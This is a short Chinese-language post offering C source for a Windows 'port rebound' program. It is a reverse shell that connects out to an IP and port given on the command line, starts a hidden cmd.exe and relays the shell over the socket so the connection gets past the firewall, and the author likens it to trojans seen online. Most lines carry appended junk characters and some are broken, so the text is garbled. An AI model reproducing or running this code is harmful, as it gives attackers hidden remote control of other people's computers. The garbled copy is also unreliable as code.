Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 auga`*  
aq)g&.dw?  
/* ============================== !c`&L_ "!  
Rebound port in Windows NT ; [G:  
By wind,2006/7 Q3Pu<j}Y  
===============================*/ URceq2_  
#include yDfH`]i)U  
#include ?7}ybw3t]  
l`.z^+!8@  
#pragma comment(lib,"wsock32.lib") D&i\dgbK  
FQJiLb._Z  
void OutputShell(); LN~mKoW  
SOCKET sClient; ]DKRug5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q 9fK)j1$  
/78]u^SW  
void main(int argc,char **argv) ((C|&$@M  
{ M!+
J[q  
WSADATA stWsaData; 

9dq"x[  
int nRet; }4p)UX>aWT  
SOCKADDR_IN stSaiClient,stSaiServer; Li]bU
  
b"WF]x|^  
if(argc != 3) b"uO BB  
{ n&Ckfo_D  
printf("Useage:\n\rRebound DestIP DestPort\n"); f`:GjA,J$  
return; -w*fS,O  
} PChew3  
C7ug\_,s  
WSAStartup(MAKEWORD(2,2),&stWsaData); $2\8Rn6'  
~5'7u-;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s3eS` rK-  
UAPd["`)y  
stSaiClient.sin_family = AF_INET; Lo3N)~5  
stSaiClient.sin_port = htons(0); /cb`%"Z  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); JcUU#>  
}/dk2!?ig  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9wZ?")2  
{ _tJt eDRY  
printf("Bind Socket Failed!\n"); ele@xl  
return; <Xl#}6II  
} %ggf|\-e  
w+/`l*  
stSaiServer.sin_family = AF_INET; Z/
%FQ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kV+^1@"  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Wk\(jaL%  
lhHH|~t0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M#; ks9  
{ @Wc5r#  
printf("Connect Error!"); .6P.r}  
return; YZ5,K6u  
} ?OLd }8y  
OutputShell(); W?5')  
} Ux7LN@4og  
R|n  
void OutputShell() 
(/uAn2  
{ 7b+r LyS0  
char szBuff[1024]; [02rs@c>  
SECURITY_ATTRIBUTES stSecurityAttributes; tGgxID  
OSVERSIONINFO stOsversionInfo; <Cv(@A->  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; db~^Gqv6k  
STARTUPINFO stStartupInfo; 5>I-? Ki  
char *szShell; UxL*I[z5  
PROCESS_INFORMATION stProcessInformation; 5X20/+aT  
unsigned long lBytesRead; :ZM9lBYh  
O;~e^ <*  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }3^m>i*8  
*[{j'7*cc  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); lFGuQLuqA{  
stSecurityAttributes.lpSecurityDescriptor = 0; &1$d`>fn  
stSecurityAttributes.bInheritHandle = TRUE; r|EN5  
aOH|[  
^K;k4oK  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EY)2,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ZU73UL  
j:h}ka/!p  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); sq!$+=1-X  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mY.v:  
stStartupInfo.wShowWindow = SW_HIDE; rS{}[$Zpl  
stStartupInfo.hStdInput = hReadPipe; iX$G($[l(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G IN|cv=  
#B;P4n3  
GetVersionEx(&stOsversionInfo); c,4~zN8Ou  
-g@!\{  
switch(stOsversionInfo.dwPlatformId) tw_o?9  
{ moM?aYm  
case 1: g}s$s}  
szShell = "command.com"; 7v*gwBH  
break; ZeP=}0TGjn  
default: zY*9M3(X  
szShell = "cmd.exe"; QselW]  
break; uZC=]Ieh  
} UDHWl_%L  
rP:g`?*V  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {Sf[<I  
,WRm{v0f^  
send(sClient,szMsg,77,0); U05;qKgkDF  
while(1) OP`f[lCiL  
{ &"^F;z/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Ca|egQv  
if(lBytesRead) E+aePoU  
{ ?H=q!i  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L}`/v]E"eU  
send(sClient,szBuff,lBytesRead,0); /W/e%.  
} jVQy{8{G  
else IMkE~0x4</  
{ }|.<EkA  
lBytesRead=recv(sClient,szBuff,1024,0); (9Zvr4.f7  
if(lBytesRead<=0) break; YNr"]SA@;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B&]`OO>O  
} M7TLQqaF  
} `,qft[1  
(QDKw}O2b  
return; \baY+,Dr+  
}